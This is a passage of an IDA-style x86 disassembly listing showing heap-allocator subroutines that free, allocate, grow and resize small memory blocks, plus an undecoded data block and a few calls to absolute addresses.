ecx loc_41ACAF: ; CODE XREF: ___:0041ACACj cmp [ecx], bl jnz short loc_41ACA5 loc_41ACB3: ; CODE XREF: ___:0041ACA3j push 0Ah push ebx push eax call sub_41881C add esp, 0Ch cmp eax, 2 jz short loc_41ACE1 cmp eax, 3 jz short loc_41ACE1 cmp eax, 1 jz short loc_41ACE1 loc_41ACCE: ; CODE XREF: ___:0041ABF8j ; ___:0041AC8Ej ... lea eax, [ebp-4] push eax call sub_41AB6F cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41ACE1: ; CODE XREF: ___:0041ABDAj ; ___:0041ACC2j ... pop ebx leave retn ; --------------------------------------------------------------------------- dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5E89050h, 85024353h dd 0F024A3C0h, 3674004Ch, 0FFFE93E8h, 3F883FFh, 4CF028A3h dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h dd 0C0850000h, 35FF0F75h, 4CF024h, 60E2E890h, 0C0330242h dd 58016AC3h, 14068C3h, 6A0000h, 0F02435FFh, 0ADE8004Ch dd 90022F52h, 1CA3C085h, 75004CF0h, 4C8BC301h, 25830424h dd 4CF014h, 18258300h, 4CF0h, 10A3016Ah, 89004CF0h, 4CF0200Dh dd 805C700h, 10004CF0h, 58000000h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p ; sub_41944F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4CF018 lea ecx, [eax+eax*4] mov eax, dword_4CF01C lea ecx, [eax+ecx*4] loc_41AD99: ; CODE XREF: sub_41AD89+26j cmp eax, ecx jnb short loc_41ADB1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41ADB3 add eax, 14h jmp short loc_41AD99 ; --------------------------------------------------------------------------- loc_41ADB1: ; CODE XREF: sub_41AD89+12j xor eax, eax locret_41ADB3: ; CODE XREF: sub_41AD89+21j retn sub_41AD89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p ; sub_41944F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41B0D8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41AE8A sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE18 push 3Fh pop edx loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AE6C cmp edx, 20h jnb short loc_41AE43 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41AE64 ; --------------------------------------------------------------------------- loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41AE64: ; CODE XREF: sub_41ADB4+86j ; sub_41ADB4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj mov ecx, [ebp+var_4] loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41AE8A: ; CODE XREF: sub_41ADB4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE98 push 3Fh pop edx loc_41AE98: ; CODE XREF: sub_41ADB4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41AF3B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41AEBD mov ebx, esi loc_41AEBD: ; CODE XREF: sub_41ADB4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41AECF mov edx, esi loc_41AECF: ; CODE XREF: sub_41ADB4+117j cmp ebx, edx jz short loc_41AF36 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41AF1E cmp ebx, 20h jnb short loc_41AEFF mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41AF1E ; --------------------------------------------------------------------------- loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41AF1E: ; CODE XREF: sub_41ADB4+128j ; sub_41ADB4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj mov esi, [ebp+arg_4] jmp short loc_41AF3E ; --------------------------------------------------------------------------- loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj mov ebx, [ebp+arg_0] loc_41AF3E: ; CODE XREF: sub_41ADB4+185j cmp [ebp+var_C], 0 jnz short loc_41AF4C cmp ebx, edx jz loc_41AFCD loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41AFCD mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41AFA4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AF93 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41AFCD ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AFBA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41AFCD: ; CODE XREF: sub_41ADB4+192j ; sub_41ADB4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41B0D8 mov eax, dword_4CF014 test eax, eax jz loc_41B0CA mov ecx, dword_4CF00C mov esi, dword_4241B0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4CF00C mov eax, dword_4CF014 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4CF014 mov ecx, dword_4CF00C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4CF014 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4CF014 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41B05B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4CF014 loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41B0CA push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4CF014 push dword ptr [eax+10h] push 0 push dword_4CF024 nop call near ptr 2700000h mov eax, dword_4CF018 mov edx, dword_4CF01C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4CF014 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4182C0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4CF018 cmp eax, dword_4CF014 jbe short loc_41B0C0 sub [ebp+arg_0], 14h loc_41B0C0: ; CODE XREF: sub_41ADB4+306j mov eax, dword_4CF01C mov dword_4CF010, eax loc_41B0CA: ; CODE XREF: sub_41ADB4+234j ; sub_41ADB4+2ABj mov eax, [ebp+arg_0] mov dword_4CF00C, edi mov dword_4CF014, eax loc_41B0D8: ; CODE XREF: sub_41ADB4+38j ; sub_41ADB4+227j pop edi pop esi pop ebx leave retn sub_41ADB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p ; sub_41944F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4CF018 mov edx, dword_4CF01C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41B11D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41B12D ; --------------------------------------------------------------------------- loc_41B11D: ; CODE XREF: sub_41B0DD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej mov eax, dword_4CF010 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41B154 loc_41B13B: ; CODE XREF: sub_41B0DD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B154 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41B13B loc_41B154: ; CODE XREF: sub_41B0DD+5Cj ; sub_41B0DD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41B1D2 mov ebx, edx loc_41B15B: ; CODE XREF: sub_41B0DD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B177 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B175 add ebx, 14h jmp short loc_41B15B ; --------------------------------------------------------------------------- loc_41B175: ; CODE XREF: sub_41B0DD+91j cmp ebx, eax loc_41B177: ; CODE XREF: sub_41B0DD+83j jnz short loc_41B1D2 loc_41B179: ; CODE XREF: sub_41B0DD+ADj cmp ebx, [ebp+var_4] jnb short loc_41B18F cmp dword ptr [ebx+8], 0 jnz short loc_41B18C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41B179 ; --------------------------------------------------------------------------- loc_41B18C: ; CODE XREF: sub_41B0DD+A5j cmp ebx, [ebp+var_4] loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj jnz short loc_41B1B7 mov ebx, edx loc_41B193: ; CODE XREF: sub_41B0DD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B1A7 cmp dword ptr [ebx+8], 0 jnz short loc_41B1A5 add ebx, 14h jmp short loc_41B193 ; --------------------------------------------------------------------------- loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j cmp ebx, eax loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj jnz short loc_41B1B7 call sub_41B3E6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41B1CB loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj ; sub_41B0DD:loc_41B1A7j push ebx call sub_41B497 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41B1D2 loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j xor eax, eax jmp loc_41B3E1 ; --------------------------------------------------------------------------- loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj ; sub_41B0DD:loc_41B177j ... mov dword_4CF010, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41B1F9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B230 loc_41B1F9: ; CODE XREF: sub_41B0DD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41B22D loc_41B216: ; CODE XREF: sub_41B0DD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41B216 loc_41B22D: ; CODE XREF: sub_41B0DD+137j mov edx, [ebp+var_4] loc_41B230: ; CODE XREF: sub_41B0DD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41B259 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41B259: ; CODE XREF: sub_41B0DD+16Dj ; sub_41B0DD+183j test ecx, ecx jl short loc_41B262 shl ecx, 1 inc edi jmp short loc_41B259 ; --------------------------------------------------------------------------- loc_41B262: ; CODE XREF: sub_41B0DD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41B27F push 3Fh pop esi loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj cmp esi, edi jz loc_41B394 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B2F0 cmp edi, 20h jge short loc_41B2BF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j ; sub_41B0DD+203j mov ebx, [ebp+arg_0] loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j ; sub_41B0DD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41B3A0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B391 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41B362 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B350 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41B350: ; CODE XREF: sub_41B0DD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41B391 ; --------------------------------------------------------------------------- loc_41B362: ; CODE XREF: sub_41B0DD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B37B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41B391: ; CODE XREF: sub_41B0DD+24Ej ; sub_41B0DD+283j mov ecx, [ebp+var_8] loc_41B394: ; CODE XREF: sub_41B0DD+1A4j test ecx, ecx jz short loc_41B3A3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41B3A3 ; --------------------------------------------------------------------------- loc_41B3A0: ; CODE XREF: sub_41B0DD+229j mov ecx, [ebp+var_8] loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j ; sub_41B0DD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41B3D9 cmp ebx, dword_4CF014 jnz short loc_41B3D9 mov ecx, [ebp+var_4] cmp ecx, dword_4CF00C jnz short loc_41B3D9 and dword_4CF014, 0 loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j ; sub_41B0DD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j pop edi pop esi pop ebx leave retn sub_41B0DD endp ; =============== S U B R O U T I N E ======================================= sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp mov eax, dword_4CF018 mov ecx, dword_4CF008 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41B429 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4CF01C push edi push dword_4CF024 nop call near ptr 2820000h cmp eax, edi jz short loc_41B479 add dword_4CF008, 10h mov dword_4CF01C, eax mov eax, dword_4CF018 loc_41B429: ; CODE XREF: sub_41B3E6+11j mov ecx, dword_4CF01C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4CF024 lea esi, [ecx+eax*4] nop call near ptr 2710000h cmp eax, edi mov [esi+10h], eax jz short loc_41B479 push 4 push 2000h push 100000h push edi nop call near ptr 2850842h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41B47D push dword ptr [esi+10h] push edi push dword_4CF024 nop call near ptr 2700000h loc_41B479: ; CODE XREF: sub_41B3E6+30j ; sub_41B3E6+67j xor eax, eax jmp short loc_41B494 ; --------------------------------------------------------------------------- loc_41B47D: ; CODE XREF: sub_41B3E6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4CF018 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41B494: ; CODE XREF: sub_41B3E6+95j pop edi pop esi retn sub_41B3E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41B4A9: ; CODE XREF: sub_41B497+19j test eax, eax jl short loc_41B4B2 shl eax, 1 inc ebx jmp short loc_41B4A9 ; --------------------------------------------------------------------------- loc_41B4B2: ; CODE XREF: sub_41B497+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41B4C7: ; CODE XREF: sub_41B497+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41B4C7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 2850842h nop test eax, eax jnz short loc_41B4FA or eax, 0FFFFFFFFh jmp loc_41B58D ; --------------------------------------------------------------------------- loc_41B4FA: ; CODE XREF: sub_41B497+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41B540 lea eax, [edi+10h] loc_41B507: ; CODE XREF: sub_41B497+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41B507 loc_41B540: ; CODE XREF: sub_41B497+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41B57D or [eax+4], edi loc_41B57D: ; CODE XREF: sub_41B497+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41B58D: ; CODE XREF: sub_41B497+5Ej pop edi pop esi pop ebx leave retn sub_41B497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41B740 test bl, 1 jnz loc_41B739 add ebx, ecx cmp esi, ebx jg loc_41B739 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41B609 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41B609: ; CODE XREF: sub_41B592+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41B659 cmp ecx, 20h jnb short loc_41B635 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B659 ; --------------------------------------------------------------------------- loc_41B635: ; CODE XREF: sub_41B592+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B659: ; CODE XREF: sub_41B592+7Dj ; sub_41B592+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41B727 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41B693 push 3Fh pop edi loc_41B693: ; CODE XREF: sub_41B592+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41B715 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41B6EC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B6DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41B6DF: ; CODE XREF: sub_41B592+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41B711 ; --------------------------------------------------------------------------- loc_41B6EC: ; CODE XREF: sub_41B592+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B702 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41B702: ; CODE XREF: sub_41B592+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41B711: ; CODE XREF: sub_41B592+158j shr edx, cl or [eax], edx loc_41B715: ; CODE XREF: sub_41B592+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41B72A ; --------------------------------------------------------------------------- loc_41B727: ; CODE XREF: sub_41B592+E5j mov edx, [ebp+arg_4] loc_41B72A: ; CODE XREF: sub_41B592+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41B880 ; --------------------------------------------------------------------------- loc_41B739: ; CODE XREF: sub_41B592+52j ; sub_41B592+5Cj xor eax, eax jmp loc_41B883 ; --------------------------------------------------------------------------- loc_41B740: ; CODE XREF: sub_41B592+49j jge loc_41B880 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41B76B push 3Fh pop esi loc_41B76B: ; CODE XREF: sub_41B592+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41B7FA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B784 push 3Fh pop esi loc_41B784: ; CODE XREF: sub_41B592+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41B7D3 cmp esi, 20h jnb short loc_41B7AF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B7D0 ; --------------------------------------------------------------------------- loc_41B7AF: ; CODE XREF: sub_41B592+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B7D0: ; CODE XREF: sub_41B592+214j ; sub_41B592+21Bj ... mov ebx, [ebp+arg_4] loc_41B7D3: ; CODE XREF: sub_41B592+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B7FA push 3Fh pop esi loc_41B7FA: ; CODE XREF: sub_41B592+1DDj ; sub_41B592+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41B877 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41B84E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B841 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi 